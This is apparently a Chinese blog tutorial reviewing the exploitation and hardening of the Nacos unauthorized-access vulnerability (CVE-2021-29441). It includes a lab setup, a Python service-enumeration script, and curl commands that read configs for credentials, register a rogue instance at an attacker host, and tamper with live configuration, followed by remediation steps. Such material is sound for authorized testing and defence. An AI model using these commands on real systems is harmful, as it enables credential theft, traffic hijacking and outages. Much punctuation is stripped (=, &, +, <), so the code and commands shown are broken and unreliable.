1. 项目概述一次典型的Nacos未授权访问漏洞实战复盘最近在内部安全评估中又遇到了老朋友——Nacos。作为Spring Cloud Alibaba生态的核心组件NacosNaming and Configuration Service凭借其服务发现和动态配置管理的强大能力在微服务架构中几乎成了标配。但越是核心的基础设施一旦出现安全问题其影响面就越大。这次实战的目标就是针对一个已知但依然广泛存在的漏洞Nacos未授权访问其官方编号为CVE-2021-29441。这个漏洞的本质并不复杂简单说就是Nacos的控制台在默认配置下缺乏有效的身份认证导致攻击者可以直接访问管理界面进行服务、配置等敏感信息的查看与篡改。对于任何一个使用Nacos作为注册中心或配置中心的生产环境来说这无异于将后门钥匙放在了门口的地毯下。我之所以选择复盘这个漏洞是因为它在实际渗透测试和红队评估中出现的频率极高。很多开发团队在快速搭建微服务demo或者内部测试环境时为了图省事常常直接使用默认配置启动Nacos完全忽略了安全加固的步骤。更有甚者一些对安全缺乏认知的运维人员可能会将测试环境的Nacos实例错误地暴露在公网这就给了攻击者可乘之机。通过这次实战拆解我希望不仅能清晰地展示漏洞的发现、验证和利用过程更能深入剖析其背后的配置逻辑和安全加固方案让无论是安全研究人员还是开发运维同学都能对Nacos的安全有一个更立体的认识。2. 漏洞原理与影响范围深度解析2.1 Nacos身份认证机制的历史与现状要理解CVE-2021-29441我们必须先回到Nacos的身份认证设计上。在Nacos早期的版本中大致在1.2.0版本之前其设计哲学更偏向于“开箱即用”和易用性。开发团队可能认为Nacos通常部署在内网环境为微服务集群内部提供服务因此并未将强身份认证作为默认开启的选项。控制台通常运行在8848端口和Open API在默认安装后没有任何登录门槛。用户打开http://your-nacos-ip:8848/nacos就能直接进入管理界面看到所有注册的服务实例、配置列表等核心数据。这种设计在快速原型验证阶段确实方便但一旦部署到准生产或生产环境就埋下了巨大的安全隐患。攻击者无需任何凭证即可实现以下操作服务信息窃取获取所有注册到Nacos上的服务名、IP地址、端口、健康状态。这相当于拿到了整个微服务架构的“地图”。配置信息泄露查看、甚至下载Nacos中存储的所有配置文件。这些配置可能包含数据库连接字符串、第三方API密钥、加密盐值等最高级别的敏感信息。服务注册与注销恶意注册虚假服务实例或注销关键业务服务直接导致服务调用失败引发业务中断。配置篡改动态修改运行中的服务配置。例如将某个微服务的数据库连接指向一个恶意地址或者修改业务逻辑开关造成数据泄露或逻辑错误。CVE-2021-29441正是针对这一默认无认证的漏洞进行披露和预警。虽然Nacos官方在后续版本中逐步增强了安全特性例如引入了基于nacos.core.auth.enabled参数的内置认证系统但历史版本的存量、以及新版本中因配置疏忽导致认证未开启的情况使得该漏洞的变体长期存在。2.2 漏洞的“变体”与关联风险在实际测试中纯粹的“默认无认证”场景只是冰山一角。更多的情况是配置不当导致的“伪授权”或“弱授权”状态我将其归纳为几种常见变体变体一弱口令或默认口令。有些管理员意识到需要开启认证但为了方便记忆或沟通设置了诸如nacos/nacos、admin/admin这类极弱的口令。攻击者通过简单的口令爆破即可轻易进入。在Nacos 1.2.0版本中如果从旧版本升级而来且未初始化密码其默认密码就是nacos/nacos这一点需要格外警惕。变体二权限绕过与接口未授权。即使控制台登录页面设置了认证但某些特定的API接口可能因为配置遗漏或框架特性绕过了统一的鉴权过滤器。例如某些健康检查接口、Metrics监控端点如/nacos/actuator/metrics如果被错误暴露也可能泄露服务器状态信息。虽然这不完全是CVE-2021-29441的定义范围但攻击思路和危害是相似的。变体三不当的网络暴露。这是最致命也最常见的问题。许多团队将Nacos Server部署在Docker或Kubernetes中为了便于调试将Service类型设置为NodePort或LoadBalancer甚至直接使用hostNetwork模式无意中将其服务端口8848, 7848等暴露在了办公网或公网。结合默认无认证或弱口令漏洞就被直接“送货上门”了。注意评估Nacos安全时绝不能仅仅检查nacos.core.auth.enabled是否为true。必须进行全端口扫描、API探测和弱口令测试才能做出相对完整的判断。3. 实战环境搭建与漏洞复现3.1 靶场环境快速搭建为了原汁原味地复现漏洞最快捷的方式就是使用Docker启动一个存在漏洞的Nacos版本。这里我们选择1.4.1版本该版本在默认配置下未开启认证。# 拉取Nacos 1.4.1 镜像 docker pull nacos/nacos-server:1.4.1 # 以单机模式运行并映射8848端口到宿主机 docker run -d \ --name nacos-unsafe \ -p 8848:8848 \ -e MODEstandalone \ nacos/nacos-server:1.4.1执行上述命令后一个单机版的Nacos服务就在本地的8848端口运行起来了。这里的-e MODEstandalone指定了单机模式适合测试和开发。在生产环境中通常会使用cluster集群模式。3.2 漏洞验证与信息收集环境启动后我们通过浏览器访问http://localhost:8848/nacos。如果成功复现漏洞你将直接进入Nacos控制台首页而不会看到任何登录界面。第一步确认未授权状态。直接访问控制台URL能进入这是最直观的证据。但严谨的渗透测试需要多角度验证。我们可以使用curl命令测试其Open API# 查询服务列表 curl -X GET http://localhost:8848/nacos/v1/ns/service/list?pageNo1pageSize10 # 查询配置列表 curl -X GET http://localhost:8848/nacos/v1/cs/configs?dataIdgroupappNameconfig_tagspageNo1pageSize10tenantsearchaccurate如果这些API接口在未提供任何认证Token如accessToken的情况下返回了200状态码及有效数据可能是空列表但结构正常则进一步证实了未授权访问漏洞的存在。第二步手工信息收集。进入控制台后我们可以像管理员一样浏览服务管理在“服务列表”中查看所有已注册的服务。对于一个刚启动的环境这里可能只有nacos本身。但在真实业务环境中这里会列出所有的微服务如user-service,order-service,payment-service等并附带其集群IP和端口。配置管理在“配置列表”中查看所有的配置项。业务配置、数据库连接池配置、消息队列配置等都可能明文存储在这里。点击“详情”或“导出”可能直接获取到配置文件内容。命名空间查看不同的命名空间Namespace。生产环境的配置可能放在独立的命名空间里这里可以一览无余。第三步尝试基础写操作。未授权访问的威胁不仅在于“读”更在于“写”。我们可以尝试进行低风险的写操作来验证权限在“配置管理”中尝试“”新建一个配置。Data ID可以命名为test.properties配置内容随意填写。如果创建成功则证明拥有发布配置的权限危害等级从“信息泄露”上升为“系统篡改”。实操心得在实际的渗透测试中对于写操作要极其谨慎尤其是在客户的生产环境。除非获得明确授权否则应仅限于验证漏洞存在性避免任何可能影响业务稳定性的操作。我的习惯是在验证写权限时创建带有明显测试标记的配置如Data ID包含_pentest_字样并在验证后立即删除。4. 漏洞利用链与深度攻击模拟验证了漏洞存在后我们需要模拟一个攻击者视角看看他能利用这个漏洞做些什么。假设我们面对的是一个已经投入使用的业务系统。4.1 场景一绘制微服务架构地图攻击者首先通过未授权的服务列表API获取所有注册的服务信息。通过编写简单的脚本可以自动化这个过程import requests import json nacos_url http://target-ip:8848 services_api /nacos/v1/ns/service/list def get_services(): page_no 1 page_size 100 all_services [] while True: params {pageNo: page_no, pageSize: page_size} resp requests.get(nacos_url services_api, paramsparams) if resp.status_code 200: data resp.json() service_list data.get(doms, []) if not service_list: break all_services.extend(service_list) if len(service_list) page_size: break page_no 1 else: print(f请求失败: {resp.status_code}) break return all_services if __name__ __main__: services get_services() print(f发现 {len(services)} 个服务:) for svc in services: print(f - {svc}) # 可以进一步调用 /nacos/v1/ns/instance/list 获取该服务的所有实例详情运行这个脚本攻击者就得到了一份完整的服务清单。结合后续对每个服务实例详情IP、端口、元数据的查询一张清晰的微服务网络拓扑图就被绘制出来了。这为后续针对特定服务的横向移动或攻击指明了方向。4.2 场景二窃取敏感配置与凭据接下来攻击者会瞄准配置中心。他可能会遍历所有命名空间和配置分组批量下载配置文件。# 假设获取到了命名空间ID ‘public’ 和配置分组 ‘DEFAULT_GROUP’ # 但攻击者通常不知道具体的Data ID他可能会尝试常见名称或进行模糊查询 # 例如尝试获取数据库配置 curl http://target-ip:8848/nacos/v1/cs/configs?dataIdapplication.propertiesgroupDEFAULT_GROUPtenant curl http://target-ip:8848/nacos/v1/cs/configs?dataIdapplication.ymlgroupDEFAULT_GROUPtenant curl http://target-ip:8848/nacos/v1/cs/configs?dataIdbootstrap.propertiesgroupDEFAULT_GROUPtenant # 或者利用搜索功能如果前端开放了搜索对应API可能有search参数一旦找到包含数据库连接串如spring.datasource.url、Redis密码、OSS访问密钥、短信平台Token等的配置文件攻击者就拿到了通往核心数据的钥匙。他可以直接连接数据库导出数据或者利用云服务凭据进行进一步的资源窃取或破坏。4.3 场景三服务注册攻击与流量劫持这是更具破坏性的攻击方式。攻击者可以向Nacos注册一个恶意的服务实例。注册恶意实例模仿一个已有的关键服务如gateway-service但将自己的恶意服务器IP和端口注册进去。流量劫持由于Nacos客户端如微服务或Gateway会从Nacos Server拉取服务实例列表部分负载均衡策略可能会将流量分发到这个恶意实例上。攻击者可以在恶意实例上部署一个反向代理将流量转发到真实服务的同时窃取所有经过的请求数据包括含认证Token的请求头、敏感POST数据等。服务驱逐攻击调用Nacos API将某个关键业务服务的健康实例下线Deregister Instance导致该服务不可用引发业务故障。# 注册一个恶意实例的示例API调用需根据实际情况修改参数 curl -X POST http://target-ip:8848/nacos/v1/ns/instance \ -H Content-Type: application/x-www-form-urlencoded \ -d ipattacker-ipport9999serviceNamecritical-user-serviceclusterNameDEFAULT4.4 场景四配置篡改与逻辑漏洞注入攻击者可以修改线上运行的配置。例如修改数据库连接池的validationQuery为一个睡眠语句SELECT SLEEP(10)导致所有数据库连接缓慢引发服务雪崩。修改业务开关如将feature.enable-payment改为false导致支付功能全局关闭。在日志配置中注入恶意表达式如果日志框架支持EL表达式且版本存在漏洞可能触发远程代码执行RCE。# 发布/更新配置的API curl -X POST http://target-ip:8848/nacos/v1/cs/configs \ -H Content-Type: application/x-www-form-urlencoded \ -d dataIdcritical-service.propertiesgroupDEFAULT_GROUPcontentmalicious.config.valueinjected重要提示以上所有利用场景的API调用示例仅用于理解攻击原理和进行授权下的安全测试。严禁在未获得明确书面授权的情况下对任何系统进行此类测试或攻击。5. 漏洞修复与安全加固全方案仅仅知道漏洞如何利用是远远不够的作为安全从业者或系统负责人我们的核心任务是修复和加固。针对Nacos未授权访问修复是一个多层次、纵深防御的过程。5.1 紧急处置网络层隔离与访问控制如果发现线上Nacos存在未授权访问第一时间的应急响应不是去改Nacos配置而是进行网络隔离。修改安全组/防火墙规则立即在云服务器安全组或主机防火墙上将Nacos服务端口默认8848、7848等的访问源IP进行严格限制。只允许可信的IP段访问例如运维跳板机IP、微服务Pod所在的K8s节点IP段、办公网络出口IP等。这是最快、最有效的临时止血方案。# 例如使用iptables只允许特定IP访问8848端口 iptables -A INPUT -p tcp --dport 8848 -s 10.0.0.0/24 -j ACCEPT # 允许内网网段 iptables -A INPUT -p tcp --dport 8848 -s 123.123.123.123 -j ACCEPT # 允许特定公网IP如VPN出口 iptables -A INPUT -p tcp --dport 8848 -j DROP # 拒绝其他所有检查并修正网络暴露立即审查Nacos的部署方式。如果是因为误将K8s Service类型设为LoadBalancer或NodePort且范围过广应将其改为ClusterIP并通过Ingress配合认证来提供外部访问如果需要。如果是Docker直接映射到了主机公网IP应改为映射到内网IP或使用反向代理。5.2 根本修复启用并正确配置Nacos身份认证完成紧急隔离后需要从根本上启用Nacos的安全认证。升级版本首先确保Nacos版本在1.2.0以上。官方从1.2.0版本开始支持内置的鉴权体系。建议升级到最新的稳定版以获取所有安全补丁。开启认证修改Nacos的配置文件conf/application.properties对于Docker部署可通过挂载卷或环境变量修改。# 开启鉴权 nacos.core.auth.enabledtrue # 开启服务身份识别用于服务间调用鉴权可选但建议开启 nacos.core.auth.enable.userAgentAuthWhitefalse # 令牌过期时间秒默认18000 nacos.core.auth.default.token.expire.seconds18000 # 令牌加密密钥需自定义一个强密钥长度至少32字符 nacos.core.auth.default.token.secret.keyVGhpc0lzQVZlcnlTdHJvbmdTZWNyZXRLZXlBdExlYXN0MzJD关键点nacos.core.auth.default.token.secret.key必须修改使用默认值或弱密钥等同于没有认证。生成一个足够复杂的Base64编码字符串。修改默认密码启动开启了认证的Nacos后使用默认账号nacos和密码nacos登录。登录后第一件事就是在“权限控制”-“用户管理”中为nacos用户修改一个高强度密码。并考虑创建具有不同权限的子账户遵循最小权限原则。配置客户端服务端开启认证后所有连接到Nacos的客户端微服务都需要配置用户名和密码。Spring Cloud Alibaba Nacos在bootstrap.yml或application.yml中配置spring: cloud: nacos: discovery: username: ${NACOS_USERNAME:nacos} password: ${NACOS_PASSWORD:your_strong_password_here} config: username: ${NACOS_USERNAME:nacos} password: ${NACOS_PASSWORD:your_strong_password_here}原始SDK或其它客户端同样需要在初始化时传入鉴权参数。5.3 进阶加固构建纵深防御体系开启认证是基础但要达到生产级安全还需要更多措施。启用TLS/SSL加密防止通信内容在传输过程中被窃听或篡改。为Nacos Server配置HTTPS并让客户端使用HTTPS连接。这需要生成或申请证书并修改server和client配置。使用命名空间Namespace进行逻辑隔离为不同环境dev/test/prod或不同业务线创建独立的命名空间。配合RBAC权限控制用户只能访问特定命名空间下的资源和配置。配置访问控制列表ACL与RBAC不要所有人都用nacos这个超级管理员。根据团队角色创建用户并分配精细的权限。例如开发人员只有读写dev命名空间的权限运维人员有读写prod命名空间的权限而只读账号用于监控。部署架构安全集群部署生产环境务必使用集群模式避免单点故障同时集群内部通信也可配置认证。反向代理在前端部署Nginx或Ingress Controller对外暴露443端口。在反向代理层可以附加一层认证如Basic Auth、限流、IP黑白名单等增加一道防线。私有化部署将Nacos部署在完全独立的内部网络区域与业务服务隔离通过严格的内网策略进行访问控制。5.4 持续监控与审计加固不是一劳永逸的需要持续监控。日志审计开启Nacos的访问日志和操作日志定期审计异常登录、频繁的配置查询或修改行为。将日志接入ELK或Sentinel等监控系统。定期漏洞扫描与配置核查使用安全扫描工具定期检查Nacos服务端口是否意外暴露配置认证是否开启是否存在弱口令。将Nacos配置安全纳入日常的配置审计流程。客户端认证信息管理避免将明文密码写在客户端配置文件中。使用配置中心本身在安全的前提下、或云厂商的密钥管理服务如KMS、或容器平台的Secret对象来管理Nacos的客户端认证凭据。6. 从漏洞挖掘到防御的思考与扩展复盘完整个漏洞的攻防过程我们不妨跳出来思考一些更深层次的问题。CVE-2021-29441这类“默认不安全”的漏洞在开源中间件中并非个例。Redis、MongoDB、Elasticsearch等都曾有过类似教训。这给我们的启示是在追求“开箱即用”的开发者体验的同时绝不能以牺牲“默认安全”为代价。对于开发者和架构师在技术选型和架构设计阶段就必须将安全作为非功能性需求的核心指标之一。在引入Nacos这类基础组件时安全清单应该成为部署文档的第一页[ ] 是否修改了所有默认密码[ ] 是否开启了最小必要的认证与授权[ ] 网络暴露范围是否控制在最小[ ] 通信链路是否加密[ ] 日志审计是否开启对于安全工程师这类漏洞的挖掘思路可以进一步扩展。不仅仅是检查默认配置更要关注配置的继承与覆盖在复杂的微服务架构中配置可能来自多个源本地文件、环境变量、配置中心。最终的生效配置是什么安全配置是否被意外覆盖依赖链安全Nacos本身可能依赖其他组件如数据库。这些组件的安全状态如何是否存在内网渗透的跳板API的完整梳理除了常见的控制台和Open APINacos是否还有其他管理端口或API如集群通信端口7848它们是否同样受到保护最后我想分享一个在多次渗透测试中验证有效的“笨办法”定期以攻击者的视角审视自己的系统。最简单的方式就是每隔一段时间从公网视角对你的服务器IP和域名进行一次端口扫描和服务识别看看有没有像Nacos控制台这样“不该出现”的服务被意外暴露出来。很多时候最大的风险不是高深莫测的0day漏洞而是这些由于疏忽而打开的大门。安全是一个持续的过程始于对每一个默认选项的质疑成于对每一处细节的坚守。